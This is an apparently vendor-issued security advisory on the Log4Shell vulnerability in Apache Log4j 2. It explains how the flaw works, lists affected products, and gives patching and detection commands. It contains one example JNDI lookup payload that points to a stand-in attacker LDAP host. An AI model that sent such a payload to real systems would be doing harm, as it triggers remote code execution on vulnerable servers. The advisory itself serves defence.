Log4Shell (CVE-2021-44228) is a critical vulnerability that is being actively exploited and scanned for by malicious actors since its discovery late last week. It enables attackers to run arbitrary code on servers running vulnerable versions of the Apache Log4j 2 library.
What is Log4j 2?
The Log4Shell vulnerability results from how log messages are being handled by the processor in log4j2, an open-source logging service provided by the Apache Group that provides logging for numerous projects. It enables attackers to run arbitrary code on servers running vulnerable versions of the Apache Log4j 2 library.
An attacker can send a specially crafted message, which contains a link to a server they control. For example, they may send a message including the string ${jndi:ldap://evil.xa/x}, where ldap://evil.xa is the attacker-controlled server.
The specially crafted message is passed to the log4j library so it can be logged, but in doing so it queries the malicious server. The malicious server will then respond with directory information, along with whatever code the attacker wants to execute on the victim server. Finally, the victim server downloads this response and executes the code included in the response.
Some of the products known to be using this, and therefore vulnerable to the vulnerability, are:
- Apache Druid
- Apache Dubbo
- Apache Flink
- Apache Flume
- Apache Hadoop
- Apache Kafka
- Apache Solr
- Apache Spark
- Apache Struts
- Apache Tapestry
- Apache Wicket
- Elastic Elasticsearch
- Elastic Logstash
- Ghidra
- Grails
- Minecraft
- Apache Tomcat
- Dropwizard
- Elastic Kibana
- Hibernate
- JavaServer Faces
- Oracle ATG Web Commerce
- Spring Framework
Why is this critical?
The vulnerability itself allows an attacker to load arbitrary - potentially malicious - code into the target server. This code might add a backdoor to a server, cryptojack or even carry out a ransomware attack.
The vulnerability was published late last week alongside a working proof-of-concept that would enable malicious actors to exploit it. CFC’s incident response team has observed both scanning and subsequent exploitation of this vulnerability.
How to mitigate?
To mitigate against this vulnerability, we recommend installing the latest updates (2.15.0 or later), and the regular and timely updating of any affected third-party software. This should be done on all devices, not only those directly exposed to the internet.
To support the first priority action above, you also should determine if Log4j is installed elsewhere. Java applications can include all the dependent libraries within their installation. To do this, you should undertake a file system search for log4j, searching inside EAR, JAR and WAR files e.g.:
find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null
If a dependency or package manager is used, this can be searched. For example:
dpkg -l | grep log4j
There could be multiple copies of Log4j present and each copy will need to be updated or mitigated.
If updating Log4j 2 is not feasible, this vulnerability can still be mitigated by setting system property "log4j2.formatMsgNoLookups" to "true". This can be done by restarting the Java service through the use of an argument:
java -Dlog4j2.formatMsgNoLookups=true ...
or you can set an Environment Variable for the JVM arguments:
JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
Questions?
Should you have any further queries, please feel free to contact our team at cyberthreatanalysis@cfc.com
